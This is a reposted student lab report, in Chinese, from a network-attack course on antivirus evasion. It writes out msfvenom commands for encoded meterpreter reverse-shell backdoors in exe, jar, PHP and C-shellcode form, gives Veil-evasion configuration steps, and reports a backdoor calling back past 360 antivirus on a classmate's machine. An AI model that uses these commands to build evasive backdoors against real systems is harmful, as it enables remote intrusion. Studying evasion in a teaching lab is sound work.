博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
2018-2019-2 网络对抗技术 20165115 Exp3 免杀原理与实践
阅读量:4877 次
发布时间:2019-06-11

本文共 3130 字,大约阅读时间需要 10 分钟。

2018-2019-2 网络对抗技术 20165115 Exp3 免杀原理与实践


    • 正确使用msf编码器;使用msfvenom生成jar、php等格式的文件;使用veilvasion;使用shellcode编程等免杀工具或技巧
    • 通过应用多种技术实现恶意代码的免杀
    • 使用另一台电脑进行实测,在杀软开启的情况下可以运行并成功回连。注明电脑的杀软名称和版本。

1.免杀原理及基础问题回答

1、杀软是如何检测出恶意代码的?

  • 通过对特征码进行检测的方式,对恶意软件的行文进行检测。

2、免杀是做什么?

  • 通过修改恶意程序(病毒、木马)的内容改变特征码从而避免杀毒软件的查杀。

3、免杀的基本方法有哪些?

  • 针对杀毒软件的三种基本检测方法,我们可以通过下面几种方法来实现免杀:

    1. 改变特征码
    2. 改变软件行为
    3. 其它方法

2.实验内容

2.1 任务一

正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

(1)、正确使用msf文件,生成exe文件

  • 这里使用virustotal对实验二中生成的msf后门文件进行扫描。扫描结果如下:

1322852-20190331154003324-636443575.jpg

可以看出,不做任何处理的后门程序可以轻易地被大多数杀软检测到。下面我们使用msf编码器对后门程序进行多次的重新编码,并对编码后的文件进行检测。

  • 重新编码需要使用命令:

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.132 LPORT=5115 -f exe > 5115encoded10.exe

  • 将重新编码的文件上传到VirusTotal进行扫描的结果如下:

    1322852-20190331154025233-1363790791.jpg

  • 可见,单纯地重新编码对于免杀并没有太大的效果。我认为原因主要有:

    • exe中总是会出现需要进行解码的部分,杀软只需要检测这一部分的代码就可以了;
    • 我们是使用msfvenom生成的可执行文件,这就导致了这些文件带有msf的固定模板。由于msf的知名度,各大厂商肯定针对其各种模板进行过特征码的分析。所以成效不大。

(2)、使用msf生成jar文件

  • 生成Java后门程序需要使用命令:

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.132 LPORT=5115 x> 20165115backdoor_java.jar

  • 生成PHP后门程序使用的命令是:

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.132 LPORT=5115 x> 20165115_backdoor.php

-生成文件如下图所示:

1322852-20190331154048279-890527724.jpg

(3)、使用veil-evasion生成后门程序并进行检测

  • 首先sudo apt-get update更新一下

  • 然后就是进行安装了sudo apt-get install veil-evasion

  • 完成之后输入veil命令打开veil,确认进行下一步的安装,直到安装结束。其中,在安装wine的时候应该会有一堆乱码的安装指导,就一路回车敲过来就完事了。

    1322852-20190331154124765-878702130.jpg

  • 然后再进入veil界面。如果上一步的安装有没有完成的或者是失败了,你还是会看到那个提醒安装的提示。还是Y键同意,重新安装一遍就行了。如果成功的话应该会进入导航界面

    1322852-20190331154119075-1775043597.jpg

  • 输入use evasion进入evasion

    1322852-20190331154135490-1193224834.jpg

  • 输入use c/meterpreter/rev_tcp.py进入配置界面

    1322852-20190331154144334-1198290898.jpg

  • 设置反弹IP,注意此处应该是kali的IPset LHOST 192.168.1.132

  • 设置端口set LPORT 5115

  • 使用命令generate生成文件,输入文件名即可。文件保存路径会显示在指令当中。

    1322852-20190331154155726-471713722.jpg

  • 对生成的文件进行扫描结果如下:

    1322852-20190331154231389-200495476.jpg

(4)、半手工注入shellcode

  • 首先使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.132 LPORT=5115 -f c

    即使用C语言生成一段shellcode代码

  • 使用vim 5115shellcode.c创建工程文件。这个地方的文件,当我使用博客中普遍使用的加一段代码编译后,在win7虚拟机测试的过程中,开启杀软会被当作木马查杀。但是当我关掉所有的杀软和防火墙后,却不能实现回连。emmmm??不知道发生了什么的我去同学的电脑上做了一下尝试,结果还是失败了。该同学觉得有问题又自己尝试了一下,嗯,他也失败了(@课代表lty同学)。那么,问题出在什么地方呢?只能认为是这个生成c代码的过程有问题。于是我们尝试了另外一种生成c代码的方法。步骤与成功与否会在后面的回连中提到。

  • 两种加壳操作。

  • 因为这个加壳操作的时候我还对上面那个问题没有解决方法,所以这两个截图中的加壳文件的回连还是失败的。

    1322852-20190331154334965-220702910.jpg
    1322852-20190331154340980-2097726326.jpg

另外,关于杀软,不得不提什么杀软都是弟弟,WindowsDefender是最NB的。当初为了避免国产的流氓杀软拖累我这个垃圾电脑的速度,我的电脑中一直只使用WD。但这一次,无论我使用什么方法,只要把生成的文件从kali中拖出来绝对瞬间报毒拒绝使用等待处理一气呵成。下图就是为了做测试允许通过的文件数量。并且我也特别留意了一下vt和vs的反馈,基本上Windows都对我做的东西报毒了。嗯,可以说是这个实验最大的收获之一了。

1322852-20190331154351052-282468017.jpg

扯远了,回来

2.2 任务二

通过组合应用各种技术实现恶意代码免杀

  • 上面也提到过了,基于我出现的问题,采取新的方法进行编程,半手工制作shellcode,虽然添加壳后被发现的概率大了一些,但是在360等国产杀软的环境中做完测试还是绰绰有余的.所以就采取了这两种方法进行免杀。任务成功截图如下:(放的是360扫描日志)
    1322852-20190331155308058-1189895584.jpg
    1322852-20190331155151598-1948421682.png

补一个未加壳的文件进行扫描的结果截图,可以看到加壳在某些情况下反而更容易被发现:

1322852-20190331160036600-1282104233.jpg

2.3 任务三

用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

感谢刘天野同学贡献自己的一台电脑给我做测试。IP地址和文件名是因为在新的网络环境里面做的测试,所以可能会和上文中有出入。对方电脑环境为win10,360全家桶(好狠)。

1322852-20190331154412751-1231034418.png

3. 距离实战还缺少什么技术或步骤

  • 上文也提到过,瞒过杀软一小段时间还是可以做到的。但是在360的环境下运行一小段时间,大概有个三五分钟的样子,基本上就报错gg了。所以说我们掌握的技术还仅仅是个皮毛,要想真正做出可以瞒过杀软很久、功能强大的恶意软件还需要不断地提升知识水平;

  • 另一方面就是恶意程序的传播。这一点上我觉得自己的实战能力为0。现在我使用的方式基本及时:“我给你传个病毒你帮我接收一下做个测试。”嗯,很真实。所以说对于恶意软件的伪装和传播方面还要下很大的功夫。

4. 实验中遇到的问题及解决方法

  • 一个大问题上文提到过,解决方法也有提及。就不说这个了。

  • 小问题一大堆,总之都解决了。对了,实验过程中virustotal还崩溃过一次。emmmm,行吧。问题不大。所以上面会有一个测试使用viruscan做的。

    1322852-20190331155252558-1714376173.jpg

5. 实践总结与体会

  • 首先就是,WindowsDefender niupi !

  • 然后就是,虽然技术和手段都在不断地发展进步,但只要掌握了原理,还是可以通过最原始的方式做出一些东西的。不过不能因为有一点成就就沾沾自喜,还是要扎扎实实的不断学习。

转载于:https://www.cnblogs.com/zcy20165115/p/10631680.html

你可能感兴趣的文章
第二次冲刺作业
查看>>
【转】HTML, CSS和Javascript调试入门
查看>>
折线图-小案例
查看>>
STL:优先队列Priority Aueue
查看>>
蓝桥历年试题 套娃
查看>>
EF4.0和EF5.0增删改查的写法区别及执行Sql的方法
查看>>
判断是否为移动设备
查看>>
SQL注入原理
查看>>
作业一
查看>>
Matlab控制系统的建模及模型间的转换
查看>>
面向对象编程思想
查看>>
showModalDialog打开一个子窗口,在子窗口添加一条记录后,关闭子窗口刷新父窗口...
查看>>
微信支付体验
查看>>
Excel导数据到数据库
查看>>
zz 悲催的程序员,以及程序员的悲催
查看>>
Flv.js
查看>>
Java工程师成神之路
查看>>
线程池ThreadPoolExecutor整理
查看>>
如何将离线的PIP安装包快速安装好
查看>>
应对通过代理攻击服务器的方法
查看>>